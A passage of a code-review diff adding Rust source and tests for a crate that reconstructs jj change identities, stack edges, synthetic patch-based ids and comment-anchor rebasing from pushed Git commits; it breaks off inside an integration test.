| 349 | + | fn commits_without_a_change_id_do_not_produce_edges() { | |
| 350 | + | let a = cid('k'); | |
| 351 | + | let mut plain = commit("r1", &a, &[]); | |
| 352 | + | plain.change_id = None; | |
| 353 | + | let commits = vec![plain, commit("r2", &cid('l'), &["r1"])]; | |
| 354 | + | ||
| 355 | + | let edges = stack_edges(&commits, &HashSet::new()); | |
| 356 | + | assert!(edges.is_empty(), "got {edges:?}"); | |
| 357 | + | } | |
| 358 | + | ||
| 359 | + | #[test] | |
| 360 | + | fn is_idempotent_over_repeated_runs() { | |
| 361 | + | // The indexer must be re-runnable (spec §4). | |
| 362 | + | let commits = vec![ | |
| 363 | + | commit("r1", &cid('k'), &[]), | |
| 364 | + | commit("r2", &cid('l'), &["r1"]), | |
| 365 | + | ]; | |
| 366 | + | let first = stack_edges(&commits, &HashSet::new()); | |
| 367 | + | let second = stack_edges(&commits, &HashSet::new()); | |
| 368 | + | assert_eq!(first, second); | |
| 369 | + | } | |
| 370 | + | ||
| 371 | + | #[test] | |
| 372 | + | fn a_cycle_does_not_hang_the_walk() { | |
| 373 | + | // Impossible in Git, but the indexer must not be the thing that hangs | |
| 374 | + | // if the graph is ever malformed. | |
| 375 | + | let (a, b) = (cid('k'), cid('l')); | |
| 376 | + | let commits = vec![ | |
| 377 | + | commit("r1", &a, &["r2"]), | |
| 378 | + | commit("r2", &b, &["r1"]), | |
| 379 | + | ]; | |
| 380 | + | let _ = stack_edges(&commits, &HashSet::new()); | |
| 381 | + | } | |
| 382 | + | ||
| 383 | + | #[test] | |
| 384 | + | fn a_merge_commit_links_to_both_parents() { | |
| 385 | + | let (a, b, m) = (cid('k'), cid('l'), cid('m')); | |
| 386 | + | let commits = vec![ | |
| 387 | + | commit("r1", &a, &[]), | |
| 388 | + | commit("r2", &b, &[]), | |
| 389 | + | commit("r3", &m, &["r1", "r2"]), | |
| 390 | + | ]; | |
| 391 | + | let edges = stack_edges(&commits, &HashSet::new()); | |
| 392 | + | assert!(edges.contains(&StackEdge { parent: a, child: m.clone() })); | |
| 393 | + | assert!(edges.contains(&StackEdge { parent: b, child: m })); | |
| 394 | + | } | |
| 395 | + | ||
| 396 | + | // ─── state ─────────────────────────────────────────────────────────────── | |
| 397 | + | ||
| 398 | + | #[test] | |
| 399 | + | fn indexing_never_overwrites_draft() { | |
| 400 | + | // The decided behaviour: draft is the author's, set in the UI. | |
| 401 | + | assert_eq!(next_state(ChangeState::Draft, true), ChangeState::Draft); | |
| 402 | + | assert_eq!(next_state(ChangeState::Draft, false), ChangeState::Draft); | |
| 403 | + | } | |
| 404 | + | ||
| 405 | + | #[test] | |
| 406 | + | fn indexing_never_reopens_an_abandoned_change() { | |
| 407 | + | assert_eq!( | |
| 408 | + | next_state(ChangeState::Abandoned, false), | |
| 409 | + | ChangeState::Abandoned | |
| 410 | + | ); | |
| 411 | + | assert_eq!( | |
| 412 | + | next_state(ChangeState::Abandoned, true), | |
| 413 | + | ChangeState::Abandoned | |
| 414 | + | ); | |
| 415 | + | } | |
| 416 | + | ||
| 417 | + | #[test] | |
| 418 | + | fn a_change_on_the_target_bookmark_becomes_merged() { | |
| 419 | + | assert_eq!(next_state(ChangeState::Open, true), ChangeState::Merged); | |
| 420 | + | } | |
| 421 | + | ||
| 422 | + | #[test] | |
| 423 | + | fn a_rewound_bookmark_reopens_a_merged_change() { | |
| 424 | + | assert_eq!(next_state(ChangeState::Merged, false), ChangeState::Open); | |
| 425 | + | } | |
| 426 | + | ||
| 427 | + | // ─── anchor rebasing (spec §5) ─────────────────────────────────────────── | |
| 428 | + | ||
| 429 | + | fn lines(spec: &[(u32, &str, Option<u32>)]) -> Vec<NewLine> { | |
| 430 | + | spec.iter() | |
| 431 | + | .map(|(n, c, f)| NewLine { | |
| 432 | + | number: *n, | |
| 433 | + | content: (*c).to_string(), | |
| 434 | + | from_old: *f, | |
| 435 | + | }) | |
| 436 | + | .collect() | |
| 437 | + | } | |
| 438 | + | ||
| 439 | + | #[test] | |
| 440 | + | fn an_unchanged_line_stays_current() { | |
| 441 | + | let new = lines(&[(1, "let x = 1;", Some(1))]); | |
| 442 | + | assert_eq!( | |
| 443 | + | rebase_anchor(1, Some("let x = 1;"), &new, true), | |
| 444 | + | AnchorOutcome::Unchanged | |
| 445 | + | ); | |
| 446 | + | } | |
| 447 | + | ||
| 448 | + | #[test] | |
| 449 | + | fn a_line_pushed_down_by_an_insertion_moves() { | |
| 450 | + | // Someone added a line above; the comment follows its line. | |
| 451 | + | let new = lines(&[ | |
| 452 | + | (1, "// new comment", None), | |
| 453 | + | (2, "let x = 1;", Some(1)), | |
| 454 | + | ]); | |
| 455 | + | assert_eq!( | |
| 456 | + | rebase_anchor(1, Some("let x = 1;"), &new, true), | |
| 457 | + | AnchorOutcome::Moved { new_line: 2 } | |
| 458 | + | ); | |
| 459 | + | } | |
| 460 | + | ||
| 461 | + | #[test] | |
| 462 | + | fn an_edited_line_becomes_outdated() { | |
| 463 | + | let new = lines(&[(1, "let x = 2;", Some(1))]); | |
| 464 | + | assert_eq!( | |
| 465 | + | rebase_anchor(1, Some("let x = 1;"), &new, true), | |
| 466 | + | AnchorOutcome::Outdated | |
| 467 | + | ); | |
| 468 | + | } | |
| 469 | + | ||
| 470 | + | #[test] | |
| 471 | + | fn a_deleted_file_orphans_the_comment() { | |
| 472 | + | assert_eq!( | |
| 473 | + | rebase_anchor(1, Some("anything"), &[], false), | |
| 474 | + | AnchorOutcome::Orphaned | |
| 475 | + | ); | |
| 476 | + | } | |
| 477 | + | ||
| 478 | + | #[test] | |
| 479 | + | fn a_deleted_line_becomes_outdated_not_orphaned() { | |
| 480 | + | // The file still exists, so the comment belongs in the diff view marked | |
| 481 | + | // outdated rather than being exiled to the timeline. | |
| 482 | + | let new = lines(&[(1, "something else entirely", None)]); | |
| 483 | + | assert_eq!( | |
| 484 | + | rebase_anchor(5, Some("let x = 1;"), &new, true), | |
| 485 | + | AnchorOutcome::Outdated | |
| 486 | + | ); | |
| 487 | + | } | |
| 488 | + | ||
| 489 | + | #[test] | |
| 490 | + | fn a_moved_line_is_found_by_its_distinctive_content() { | |
| 491 | + | // A rebase reordered the file; the mapping is gone but the text is | |
| 492 | + | // unique, so the comment follows it. | |
| 493 | + | let new = lines(&[ | |
| 494 | + | (1, "unrelated", None), | |
| 495 | + | (2, "fn interesting_function() {", None), | |
| 496 | + | ]); | |
| 497 | + | assert_eq!( | |
| 498 | + | rebase_anchor(50, Some("fn interesting_function() {"), &new, true), | |
| 499 | + | AnchorOutcome::Moved { new_line: 2 } | |
| 500 | + | ); | |
| 501 | + | } | |
| 502 | + | ||
| 503 | + | #[test] | |
| 504 | + | fn ambiguous_content_does_not_move_the_anchor() { | |
| 505 | + | // Two identical lines: guessing would put the comment in the wrong | |
| 506 | + | // place, which is worse than marking it outdated. | |
| 507 | + | let new = lines(&[ | |
| 508 | + | (1, " return None;", None), | |
| 509 | + | (2, " return None;", None), | |
| 510 | + | ]); | |
| 511 | + | assert_eq!( | |
| 512 | + | rebase_anchor(9, Some(" return None;"), &new, true), | |
| 513 | + | AnchorOutcome::Outdated | |
| 514 | + | ); | |
| 515 | + | } | |
| 516 | + | ||
| 517 | + | #[test] | |
| 518 | + | fn structural_lines_are_not_used_to_re_anchor() { | |
| 519 | + | // Matching on `}` or a blank line would anchor almost anywhere. | |
| 520 | + | let new = lines(&[(1, "}", None)]); | |
| 521 | + | assert_eq!( | |
| 522 | + | rebase_anchor(9, Some("}"), &new, true), | |
| 523 | + | AnchorOutcome::Outdated | |
| 524 | + | ); | |
| 525 | + | assert_eq!( | |
| 526 | + | rebase_anchor(9, Some(" "), &new, true), | |
| 527 | + | AnchorOutcome::Outdated | |
| 528 | + | ); | |
| 529 | + | } | |
| 530 | + | ||
| 531 | + | #[test] | |
| 532 | + | fn whitespace_only_reindentation_marks_outdated_not_moved() { | |
| 533 | + | // The line is the same code, but its text changed. Marking it outdated | |
| 534 | + | // keeps the original text visible to the reviewer (spec §5 step 4). | |
| 535 | + | let new = lines(&[(1, " let x = 1;", Some(1))]); | |
| 536 | + | assert_eq!( | |
| 537 | + | rebase_anchor(1, Some("let x = 1;"), &new, true), | |
| 538 | + | AnchorOutcome::Outdated | |
| 539 | + | ); | |
| 540 | + | } | |
| 541 | + | ||
| 542 | + | #[test] | |
| 543 | + | fn a_comment_with_no_stored_context_follows_the_line_mapping() { | |
| 544 | + | // Older comments predate anchor_context; they still rebase by position. | |
| 545 | + | let new = lines(&[(7, "whatever", Some(3))]); | |
| 546 | + | assert_eq!( | |
| 547 | + | rebase_anchor(3, None, &new, true), | |
| 548 | + | AnchorOutcome::Moved { new_line: 7 } | |
| 549 | + | ); | |
| 550 | + | } | |
| 551 | + | ||
| 552 | + | #[test] | |
| 553 | + | fn survives_five_successive_rewrites() { | |
| 554 | + | // Spec §5: "a change that is rewritten five times". | |
| 555 | + | let mut line = 10u32; | |
| 556 | + | let context = "fn the_function_under_review() {"; | |
| 557 | + | ||
| 558 | + | for shift in 1..=5u32 { | |
| 559 | + | let new = lines(&[(line + shift, context, Some(line))]); | |
| 560 | + | match rebase_anchor(line, Some(context), &new, true) { | |
| 561 | + | AnchorOutcome::Moved { new_line } => line = new_line, | |
| 562 | + | other => panic!("rewrite {shift} lost the anchor: {other:?}"), | |
| 563 | + | } | |
| 564 | + | } | |
| 565 | + | assert_eq!(line, 25, "anchor should have tracked every shift"); | |
| 566 | + | } | |
| 567 | + | ||
| 568 | + | // ─── line mapping ──────────────────────────────────────────────────────── | |
| 569 | + | ||
| 570 | + | #[test] | |
| 571 | + | fn line_map_carries_unchanged_lines_through() { | |
| 572 | + | let m = line_map("a\nb\nc\n", "a\nb\nc\n"); | |
| 573 | + | assert_eq!(m.len(), 3); | |
| 574 | + | for (i, l) in m.iter().enumerate() { | |
| 575 | + | assert_eq!(l.number, i as u32 + 1); | |
| 576 | + | assert_eq!(l.from_old, Some(i as u32 + 1), "identical files map 1:1"); | |
| 577 | + | } | |
| 578 | + | } | |
| 579 | + | ||
| 580 | + | #[test] | |
| 581 | + | fn an_inserted_line_shifts_the_ones_below_it() { | |
| 582 | + | let m = line_map("a\nb\n", "new\na\nb\n"); | |
| 583 | + | assert_eq!(m[0].from_old, None, "the inserted line came from nowhere"); | |
| 584 | + | assert_eq!(m[1].from_old, Some(1)); | |
| 585 | + | assert_eq!(m[1].number, 2, "`a` moved from line 1 to line 2"); | |
| 586 | + | } | |
| 587 | + | ||
| 588 | + | #[test] | |
| 589 | + | fn a_deleted_line_is_absent_from_the_mapping() { | |
| 590 | + | let m = line_map("a\nb\nc\n", "a\nc\n"); | |
| 591 | + | assert!( | |
| 592 | + | !m.iter().any(|l| l.from_old == Some(2)), | |
| 593 | + | "the deleted line must not appear: {m:?}" | |
| 594 | + | ); | |
| 595 | + | assert_eq!(m.iter().find(|l| l.content == "c").unwrap().from_old, Some(3)); | |
| 596 | + | } | |
| 597 | + | ||
| 598 | + | /// The end-to-end property this exists for: a comment on a line survives an | |
| 599 | + | /// insertion above it. | |
| 600 | + | #[test] | |
| 601 | + | fn a_comment_follows_its_line_through_a_real_rewrite() { | |
| 602 | + | let old = "fn a() {}\nfn the_reviewed_function() {}\nfn c() {}\n"; | |
| 603 | + | let new = "use std::io;\n\nfn a() {}\nfn the_reviewed_function() {}\nfn c() {}\n"; | |
| 604 | + | let m = line_map(old, new); | |
| 605 | + | assert_eq!( | |
| 606 | + | rebase_anchor(2, Some("fn the_reviewed_function() {}"), &m, true), | |
| 607 | + | AnchorOutcome::Moved { new_line: 4 } | |
| 608 | + | ); | |
| 609 | + | } | |
| 610 | + | ||
| 611 | + | #[test] | |
| 612 | + | fn a_file_emptied_by_a_rewrite_outdates_rather_than_panicking() { | |
| 613 | + | let m = line_map("a\nb\n", ""); | |
| 614 | + | assert_eq!(rebase_anchor(1, Some("a"), &m, true), AnchorOutcome::Outdated); | |
| 615 | + | } | |
| 616 | + | } | |
Acrates/df-index/src/lib.rs+48−0
| @@ −0,0 +1,48 @@ | |||
| 1 | + | //! `df-index` — reconstruction of jj semantics from pushed Git objects. | |
| 2 | + | //! | |
| 3 | + | //! Dogfood never runs the `jj` binary. A `jj git push` is an ordinary Git push; | |
| 4 | + | //! this crate reads jj's metadata back out of the pushed commit objects and | |
| 5 | + | //! turns it into the change index the product is built on. | |
| 6 | + | //! | |
| 7 | + | //! The crate is deliberately free of any Git library dependency. Everything | |
| 8 | + | //! here operates on raw bytes and plain data, which keeps `gix` confined to | |
| 9 | + | //! `df-store` (spec §3 rule 1) and makes the format-sensitive logic testable | |
| 10 | + | //! against byte literals captured from real repositories. | |
| 11 | + | ||
| 12 | + | pub mod change_id; | |
| 13 | + | pub mod indexer; | |
| 14 | + | pub mod synthetic; | |
| 15 | + | ||
| 16 | + | pub use change_id::{ | |
| 17 | + | extract_change_id, extract_conflict_trees, is_conflict_artifact, ChangeId, ConflictTrees, | |
| 18 | + | }; | |
| 19 | + | pub use indexer::{line_map, rebase_anchor, stack_edges, AnchorOutcome, IndexedCommit, NewLine, StackEdge}; | |
| 20 | + | pub use synthetic::{normalise_diff, synthetic_change_id, PatchIdentity, SyntheticId}; | |
| 21 | + | ||
| 22 | + | /// The identity assigned to an indexed commit. | |
| 23 | + | /// | |
| 24 | + | /// Every commit gets one. Which variant it is determines whether the UI shows a | |
| 25 | + | /// change chip and how much revision history Dogfood can promise (spec §4). | |
| 26 | + | #[derive(Debug, Clone, PartialEq, Eq)] | |
| 27 | + | pub enum Identity { | |
| 28 | + | /// A real jj change id, read from the commit's `change-id` header. | |
| 29 | + | Change(ChangeId), | |
| 30 | + | /// A patch-derived identity for a commit authored by plain git. | |
| 31 | + | Synthetic(SyntheticId), | |
| 32 | + | } | |
| 33 | + | ||
| 34 | + | impl Identity { | |
| 35 | + | /// The canonical string stored in `changes.change_id`. | |
| 36 | + | pub fn as_str(&self) -> &str { | |
| 37 | + | match self { | |
| 38 | + | Identity::Change(c) => c.as_str(), | |
| 39 | + | Identity::Synthetic(s) => s.as_str(), | |
| 40 | + | } | |
| 41 | + | } | |
| 42 | + | ||
| 43 | + | /// Whether this identity is synthesised rather than authored by jj. | |
| 44 | + | /// Maps directly to `changes.synthetic`. | |
| 45 | + | pub fn is_synthetic(&self) -> bool { | |
| 46 | + | matches!(self, Identity::Synthetic(_)) | |
| 47 | + | } | |
| 48 | + | } | |
Acrates/df-index/src/synthetic.rs+220−0
| @@ −0,0 +1,220 @@ | |||
| 1 | + | //! Synthetic change identity for commits that carry no jj change id. | |
| 2 | + | //! | |
| 3 | + | //! Spec §4: commits arriving from a plain `git push` still need identity, so | |
| 4 | + | //! that `git` users are not second-class. The identity is derived from the | |
| 5 | + | //! commit's *patch* rather than its SHA, so that rebasing the same work | |
| 6 | + | //! continues to map to the same change — which is the whole point, since a | |
| 7 | + | //! rebase changes the commit id but not the work. | |
| 8 | + | //! | |
| 9 | + | //! These ids are marked `synthetic: true` in the database and rendered without | |
| 10 | + | //! a change chip. Dogfood never presents one as a real jj change id. | |
| 11 | + | ||
| 12 | + | use sha2::{Digest, Sha256}; | |
| 13 | + | ||
| 14 | + | /// Inputs to a synthetic identity. | |
| 15 | + | /// | |
| 16 | + | /// Deliberately excludes the commit id, the tree id, the parent ids, and the | |
| 17 | + | /// committer — all of which change under a rebase. It also excludes the commit | |
| 18 | + | /// message, so that amending a typo in the description does not orphan the | |
| 19 | + | /// review. | |
| 20 | + | #[derive(Debug, Clone)] | |
| 21 | + | pub struct PatchIdentity<'a> { | |
| 22 | + | /// The diff of this commit against its first parent, normalised. | |
| 23 | + | pub diff: &'a [u8], | |
| 24 | + | /// Author email — stable across rebase, unlike the committer. | |
| 25 | + | pub author_email: &'a str, | |
| 26 | + | /// Author date as a Unix timestamp. Git preserves this across a rebase; | |
| 27 | + | /// the committer date does not survive. | |
| 28 | + | pub author_date: i64, | |
| 29 | + | } | |
| 30 | + | ||
| 31 | + | /// A synthetic change identity, rendered in the same 32-character reverse-hex | |
| 32 | + | /// alphabet as a real jj change id so that column widths and URL shapes match. | |
| 33 | + | /// | |
| 34 | + | /// It is *not* a jj change id and is never displayed as one. | |
| 35 | + | #[derive(Debug, Clone, PartialEq, Eq, Hash)] | |
| 36 | + | pub struct SyntheticId(String); | |
| 37 | + | ||
| 38 | + | impl SyntheticId { | |
| 39 | + | pub fn as_str(&self) -> &str { | |
| 40 | + | &self.0 | |
| 41 | + | } | |
| 42 | + | } | |
| 43 | + | ||
| 44 | + | impl std::fmt::Display for SyntheticId { | |
| 45 | + | fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { | |
| 46 | + | f.write_str(&self.0) | |
| 47 | + | } | |
| 48 | + | } | |
| 49 | + | ||
| 50 | + | /// Map a nibble to jj's reverse-hex alphabet: `0..=15` -> `z..=k`. | |
| 51 | + | fn reverse_hex_nibble(n: u8) -> u8 { | |
| 52 | + | debug_assert!(n < 16); | |
| 53 | + | b'z' - n | |
| 54 | + | } | |
| 55 | + | ||
| 56 | + | /// Compute a stable synthetic identity for a plain-git commit. | |
| 57 | + | /// | |
| 58 | + | /// Two commits with the same patch, author, and author date produce the same | |
| 59 | + | /// id regardless of their commit ids or position in history — so a rebase, a | |
| 60 | + | /// cherry-pick onto an updated base, or a re-push after an unrelated upstream | |
| 61 | + | /// change all continue to resolve to the same Dogfood change. | |
| 62 | + | pub fn synthetic_change_id(p: &PatchIdentity<'_>) -> SyntheticId { | |
| 63 | + | let mut h = Sha256::new(); | |
| 64 | + | // Domain separation: this hash must never collide with any other digest | |
| 65 | + | // Dogfood computes, and the version tag lets the scheme change later | |
| 66 | + | // without silently re-identifying every existing synthetic change. | |
| 67 | + | h.update(b"dogfood/synthetic-change-id/v1\0"); | |
| 68 | + | h.update(p.author_email.as_bytes()); | |
| 69 | + | h.update(b"\0"); | |
| 70 | + | h.update(p.author_date.to_be_bytes()); | |
| 71 | + | h.update(b"\0"); | |
| 72 | + | h.update(p.diff); | |
| 73 | + | ||
| 74 | + | let digest = h.finalize(); | |
| 75 | + | // Take 16 bytes, matching a real change id's width. | |
| 76 | + | let mut s = String::with_capacity(32); | |
| 77 | + | for byte in digest.iter().take(16) { | |
| 78 | + | s.push(reverse_hex_nibble(byte >> 4) as char); | |
| 79 | + | s.push(reverse_hex_nibble(byte & 0x0f) as char); | |
| 80 | + | } | |
| 81 | + | SyntheticId(s) | |
| 82 | + | } | |
| 83 | + | ||
| 84 | + | /// Normalise a diff before hashing. | |
| 85 | + | /// | |
| 86 | + | /// Strips the parts that change under rebase without the work changing: the | |
| 87 | + | /// `index <old>..<new>` lines carrying blob OIDs, and hunk header line numbers | |
| 88 | + | /// (`@@ -a,b +c,d @@`), whose offsets shift when unrelated earlier hunks move. | |
| 89 | + | /// The hunk's trailing context label is kept, since it is part of the content. | |
| 90 | + | pub fn normalise_diff(raw: &[u8]) -> Vec<u8> { | |
| 91 | + | let mut out = Vec::with_capacity(raw.len()); | |
| 92 | + | for line in raw.split(|&b| b == b'\n') { | |
| 93 | + | if line.starts_with(b"index ") { | |
| 94 | + | continue; | |
| 95 | + | } | |
| 96 | + | if line.starts_with(b"@@") { | |
| 97 | + | // Keep the marker and any trailing context, drop the line numbers. | |
| 98 | + | if let Some(end) = find(line, b"@@", 2) { | |
| 99 | + | out.extend_from_slice(b"@@"); | |
| 100 | + | out.extend_from_slice(&line[end + 2..]); | |
| 101 | + | out.push(b'\n'); | |
| 102 | + | } | |
| 103 | + | continue; | |
| 104 | + | } | |
| 105 | + | out.extend_from_slice(line); | |
| 106 | + | out.push(b'\n'); | |
| 107 | + | } | |
| 108 | + | out | |
| 109 | + | } | |
| 110 | + | ||
| 111 | + | /// Find `needle` in `haystack` starting at `from`. | |
| 112 | + | fn find(haystack: &[u8], needle: &[u8], from: usize) -> Option<usize> { | |
| 113 | + | if from >= haystack.len() { | |
| 114 | + | return None; | |
| 115 | + | } | |
| 116 | + | haystack[from..] | |
| 117 | + | .windows(needle.len()) | |
| 118 | + | .position(|w| w == needle) | |
| 119 | + | .map(|i| i + from) | |
| 120 | + | } | |
| 121 | + | ||
| 122 | + | #[cfg(test)] | |
| 123 | + | mod tests { | |
| 124 | + | use super::*; | |
| 125 | + | ||
| 126 | + | fn id_for(diff: &str, email: &str, date: i64) -> String { | |
| 127 | + | synthetic_change_id(&PatchIdentity { | |
| 128 | + | diff: diff.as_bytes(), | |
| 129 | + | author_email: email, | |
| 130 | + | author_date: date, | |
| 131 | + | }) | |
| 132 | + | .as_str() | |
| 133 | + | .to_owned() | |
| 134 | + | } | |
| 135 | + | ||
| 136 | + | #[test] | |
| 137 | + | fn is_deterministic() { | |
| 138 | + | assert_eq!(id_for("a", "x@y.z", 100), id_for("a", "x@y.z", 100)); | |
| 139 | + | } | |
| 140 | + | ||
| 141 | + | #[test] | |
| 142 | + | fn uses_the_reverse_hex_alphabet_and_correct_width() { | |
| 143 | + | let id = id_for("a", "x@y.z", 100); | |
| 144 | + | assert_eq!(id.len(), 32); | |
| 145 | + | assert!( | |
| 146 | + | id.bytes().all(|b| (b'k'..=b'z').contains(&b)), | |
| 147 | + | "synthetic ids must share the change-id alphabet, got {id}" | |
| 148 | + | ); | |
| 149 | + | } | |
| 150 | + | ||
| 151 | + | #[test] | |
| 152 | + | fn differs_on_different_patches() { | |
| 153 | + | assert_ne!(id_for("a", "x@y.z", 100), id_for("b", "x@y.z", 100)); | |
| 154 | + | } | |
| 155 | + | ||
| 156 | + | #[test] | |
| 157 | + | fn differs_on_different_authors() { | |
| 158 | + | assert_ne!(id_for("a", "x@y.z", 100), id_for("a", "q@y.z", 100)); | |
| 159 | + | } | |
| 160 | + | ||
| 161 | + | #[test] | |
| 162 | + | fn differs_on_different_author_dates() { | |
| 163 | + | assert_ne!(id_for("a", "x@y.z", 100), id_for("a", "x@y.z", 101)); | |
| 164 | + | } | |
| 165 | + | ||
| 166 | + | #[test] | |
| 167 | + | fn survives_a_rebase() { | |
| 168 | + | // The behaviour that justifies patch-based identity: the same work | |
| 169 | + | // rebased onto a new base has different blob OIDs and different hunk | |
| 170 | + | // offsets, but must keep its identity. | |
| 171 | + | let before = b"\ | |
| 172 | + | diff --git a/f.txt b/f.txt | |
| 173 | + | index 1111111..2222222 100644 | |
| 174 | + | --- a/f.txt | |
| 175 | + | +++ b/f.txt | |
| 176 | + | @@ -10,3 +10,4 @@ fn main() { | |
| 177 | + | context | |
| 178 | + | -old | |
| 179 | + | +new | |
| 180 | + | "; | |
| 181 | + | let after = b"\ | |
| 182 | + | diff --git a/f.txt b/f.txt | |
| 183 | + | index 3333333..4444444 100644 | |
| 184 | + | --- a/f.txt | |
| 185 | + | +++ b/f.txt | |
| 186 | + | @@ -42,3 +42,4 @@ fn main() { | |
| 187 | + | context | |
| 188 | + | -old | |
| 189 | + | +new | |
| 190 | + | "; | |
| 191 | + | let a = synthetic_change_id(&PatchIdentity { | |
| 192 | + | diff: &normalise_diff(before), | |
| 193 | + | author_email: "x@y.z", | |
| 194 | + | author_date: 100, | |
| 195 | + | }); | |
| 196 | + | let b = synthetic_change_id(&PatchIdentity { | |
| 197 | + | diff: &normalise_diff(after), | |
| 198 | + | author_email: "x@y.z", | |
| 199 | + | author_date: 100, | |
| 200 | + | }); | |
| 201 | + | assert_eq!(a, b, "a rebase must not change the synthetic identity"); | |
| 202 | + | } | |
| 203 | + | ||
| 204 | + | #[test] | |
| 205 | + | fn normalisation_drops_index_and_hunk_offsets_only() { | |
| 206 | + | let out = normalise_diff(b"index abc..def 100644\n@@ -1,2 +3,4 @@ fn main()\n-a\n+b\n"); | |
| 207 | + | let s = String::from_utf8(out).unwrap(); | |
| 208 | + | assert!(!s.contains("index abc"), "index line must be dropped"); | |
| 209 | + | assert!(s.contains("@@ fn main()"), "hunk context must be kept: {s:?}"); | |
| 210 | + | assert!(!s.contains("-1,2"), "hunk offsets must be dropped: {s:?}"); | |
| 211 | + | assert!(s.contains("-a\n+b"), "content must be kept"); | |
| 212 | + | } | |
| 213 | + | ||
| 214 | + | #[test] | |
| 215 | + | fn genuinely_different_work_still_differs_after_normalisation() { | |
| 216 | + | let a = normalise_diff(b"@@ -1,1 +1,1 @@\n-a\n+b\n"); | |
| 217 | + | let b = normalise_diff(b"@@ -1,1 +1,1 @@\n-a\n+c\n"); | |
| 218 | + | assert_ne!(a, b); | |
| 219 | + | } | |
| 220 | + | } | |
Acrates/df-index/tests/corpus.rs+273−0
| @@ −0,0 +1,273 @@ | |||
| 1 | + | //! Integration tests against the real fixture corpus. | |
| 2 | + | //! | |
| 3 | + | //! The unit tests in `change_id.rs` run against byte literals transcribed from | |
| 4 | + | //! real commits, which proves the parser handles those shapes but not that the | |
| 5 | + | //! shapes are still what `jj` produces. These tests read the actual bare | |
| 6 | + | //! repositories built by `fixtures/gen.sh`, so a jj format change fails here. | |
| 7 | + | //! | |
| 8 | + | //! Objects are read via `git cat-file`, not a Git library, because `df-index` | |
| 9 | + | //! must not depend on one (spec §3 rule 1). | |
| 10 | + | //! | |
| 11 | + | //! Skipped with a warning if the corpus has not been generated, so a plain | |
| 12 | + | //! `cargo test` on a fresh checkout does not fail confusingly. CI runs | |
| 13 | + | //! `fixtures/gen.sh` first, and `corpus_is_present` fails when `DF_REQUIRE_FIXTURES` | |
| 14 | + | //! is set so a CI misconfiguration cannot silently skip all of this. | |
| 15 | + | ||
| 16 | + | use std::collections::HashSet; | |
| 17 | + | use std::path::{Path, PathBuf}; | |
| 18 | + | use std::process::Command; | |
| 19 | + | ||
| 20 | + | use df_index::{extract_change_id, extract_conflict_trees}; | |
| 21 | + | ||
| 22 | + | fn corpus_root() -> PathBuf { | |
| 23 | + | Path::new(env!("CARGO_MANIFEST_DIR")).join("../../fixtures/repos") | |
| 24 | + | } | |
| 25 | + | ||
| 26 | + | fn repo(name: &str) -> Option<PathBuf> { | |
| 27 | + | let p = corpus_root().join(format!("{name}.git")); | |
| 28 | + | p.is_dir().then_some(p) | |
| 29 | + | } | |
| 30 | + | ||
| 31 | + | /// Run a git command against a bare repo, returning stdout as raw bytes. | |
| 32 | + | fn git(repo: &Path, args: &[&str]) -> Vec<u8> { | |
| 33 | + | let out = Command::new("git") | |
| 34 | + | .arg("--git-dir") | |
| 35 | + | .arg(repo) | |
| 36 | + | .args(args) | |
| 37 | + | .output() | |
| 38 | + | .expect("git must be on PATH to run corpus tests"); | |
| 39 | + | assert!( | |
| 40 | + | out.status.success(), | |
| 41 | + | "git {args:?} failed in {}: {}", | |
| 42 | + | repo.display(), | |
| 43 | + | String::from_utf8_lossy(&out.stderr) | |
| 44 | + | ); | |
| 45 | + | out.stdout | |
| 46 | + | } | |
| 47 | + | ||
| 48 | + | /// Every commit object in the repo, as raw bytes. | |
| 49 | + | fn all_commits(repo: &Path) -> Vec<(String, Vec<u8>)> { | |
| 50 | + | let listing = git(repo, &["cat-file", "--batch-all-objects", "--batch-check=%(objectname) %(objecttype)"]); | |
| 51 | + | String::from_utf8_lossy(&listing) | |
| 52 | + | .lines() | |
| 53 | + | .filter_map(|l| { | |
| 54 | + | let (oid, kind) = l.split_once(' ')?; | |
| 55 | + | (kind == "commit").then(|| oid.to_owned()) | |
| 56 | + | }) | |
| 57 | + | .map(|oid| { | |
| 58 | + | let raw = git(repo, &["cat-file", "commit", &oid]); | |
| 59 | + | (oid, raw) | |
| 60 | + | }) | |
| 61 | + | .collect() | |
| 62 | + | } | |
| 63 | + | ||
| 64 | + | #[test] | |
| 65 | + | fn corpus_is_present() { | |
| 66 | + | if repo("basic").is_none() { | |
| 67 | + | let required = std::env::var_os("DF_REQUIRE_FIXTURES").is_some(); | |
| 68 | + | assert!( | |
| 69 | + | !required, | |
| 70 | + | "DF_REQUIRE_FIXTURES is set but the corpus is missing — run fixtures/gen.sh" | |
| 71 | + | ); | |
| 72 | + | eprintln!("warning: fixture corpus absent, corpus tests skipped; run fixtures/gen.sh"); | |
| 73 | + | } | |
| 74 | + | } | |
| 75 | + | ||
| 76 | + | #[test] | |
| 77 | + | fn every_jj_commit_yields_a_change_id() { | |
| 78 | + | let Some(r) = repo("basic") else { return }; | |
| 79 | + | let commits = all_commits(&r); | |
| 80 | + | assert!(!commits.is_empty(), "basic.git must contain commits"); | |
| 81 | + | for (oid, raw) in commits { | |
| 82 | + | assert!( | |
| 83 | + | extract_change_id(&raw).is_some(), | |
| 84 | + | "jj-authored commit {oid} in basic.git yielded no change id" | |
| 85 | + | ); | |
| 86 | + | } | |
| 87 | + | } | |
| 88 | + | ||
| 89 | + | #[test] | |
| 90 | + | fn no_plain_git_commit_yields_a_change_id() { | |
| 91 | + | let Some(r) = repo("plain-git") else { return }; | |
| 92 | + | let commits = all_commits(&r); | |
| 93 | + | assert!(!commits.is_empty(), "plain-git.git must contain commits"); | |
| 94 | + | for (oid, raw) in commits { | |
| 95 | + | assert_eq!( | |
| 96 | + | extract_change_id(&raw), | |
| 97 | + | None, | |
| 98 | + | "plain-git commit {oid} must not yield a change id" | |
| 99 | + | ); | |
| 100 | + | } | |
| 101 | + | } | |
| 102 | + | ||
| 103 | + | /// The property the entire product rests on (spec §4): rewriting a change | |
| 104 | + | /// produces a new commit but preserves the change id. | |
| 105 | + | #[test] | |
| 106 | + | fn change_id_is_stable_across_five_rewrites() { | |
| 107 | + | let Some(r) = repo("rewritten") else { return }; | |
| 108 | + | let commits = all_commits(&r); | |
| 109 | + | ||
| 110 | + | assert_eq!( | |
| 111 | + | commits.len(), | |
| 112 | + | 5, | |
| 113 | + | "rewritten.git should retain all five revisions as objects" | |
| 114 | + | ); | |
| 115 | + | ||
| 116 | + | let ids: HashSet<String> = commits | |
| 117 | + | .iter() | |
| 118 | + | .map(|(oid, raw)| { | |
